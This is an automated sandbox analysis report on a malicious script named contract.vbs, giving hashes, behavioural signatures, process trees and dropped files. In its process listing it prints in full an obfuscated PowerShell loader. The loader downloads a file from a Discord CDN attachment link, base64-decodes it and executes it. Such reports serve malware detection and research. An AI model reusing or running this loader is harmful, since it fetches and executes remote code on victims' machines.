Analysis
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max time kernel
149s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
07/08/2023, 10:05
Static task
static1
Behavioral task
behavioral1
Sample
contract.vbs
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
contract.vbs
Resource
win10v2004-20230703-en
General
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Target
contract.vbs
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Size
16KB
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MD5
bc802313367fa8e3e95a8febaac30eef
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SHA1
fae8073b8bb36c8112c980f77af462589791457a
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SHA256
d1e6ce0bb1b6370887610365325b052b2be95fb20f160f7bed6d28f16f93e7d8
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SHA512
c385a20ebac46bbbe2f3c95bdaf77a5f5fda682c1ab2ca56b8de7a444df7a94229a2295acbee2d71d5363d3677ed005a9c4a66b58377d2b267e487dc5564449f
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SSDEEP
384:cMerh4avZ9DMwRXR59o8FvsWIa/+BSH4//eeXoOj:cvrh4gD37Bds0XHreZj
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 2336 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2728 powershell.exe 2324 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2728 powershell.exe Token: SeDebugPrivilege 2324 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2336 wrote to memory of 2728 2336 WScript.exe 30 PID 2336 wrote to memory of 2728 2336 WScript.exe 30 PID 2336 wrote to memory of 2728 2336 WScript.exe 30 PID 2728 wrote to memory of 2324 2728 powershell.exe 33 PID 2728 wrote to memory of 2324 2728 powershell.exe 33 PID 2728 wrote to memory of 2324 2728 powershell.exe 33 PID 2728 wrote to memory of 2324 2728 powershell.exe 33
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5c9dc8bdaddbe6486d834c7fe0b42434a
SHA1d4b6f6a7a3f7025df77a9af55e2a2251434c3741
SHA256581bce12e578b2f9a4a2d0f1109d5174c9dae4bcd5278c59ac801d619dc91589
SHA5128916995e5ce6663a3c52ca75de298debdb3bb70a3dce40d3a978056d4879c36a78d5024c480e3c4840fb9c48fe0a9fcae7443387340ba35a24fb5a5a8127b941
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Filesize
62KB
MD53ac860860707baaf32469fa7cc7c0192
SHA1c33c2acdaba0e6fa41fd2f00f186804722477639
SHA256d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904
SHA512d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c
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Filesize
164KB
MD54ff65ad929cd9a367680e0e5b1c08166
SHA1c0af0d4396bd1f15c45f39d3b849ba444233b3a2
SHA256c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6
SHA512f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RHSGXVAB0Q1UZKV123EQ.temp
Filesize7KB
MD5b2e1a778f952c17b633fff13e8bdac11
SHA104061ff0304cadda0a07d9afe624b9d3922dbacc
SHA2566365fc0f2beab0aeb15d37cadd71fdf0abac00a3dd9092323cb2dfb328f1ff1b
SHA51289c4afeb7dad3ac997b9c781d235979ce80ef3e499db4a55dcd82acf5d6949e0ec2f14c0a229854792efa559e7e770dd205c1a041cab95d7ec0fcc6bb6210667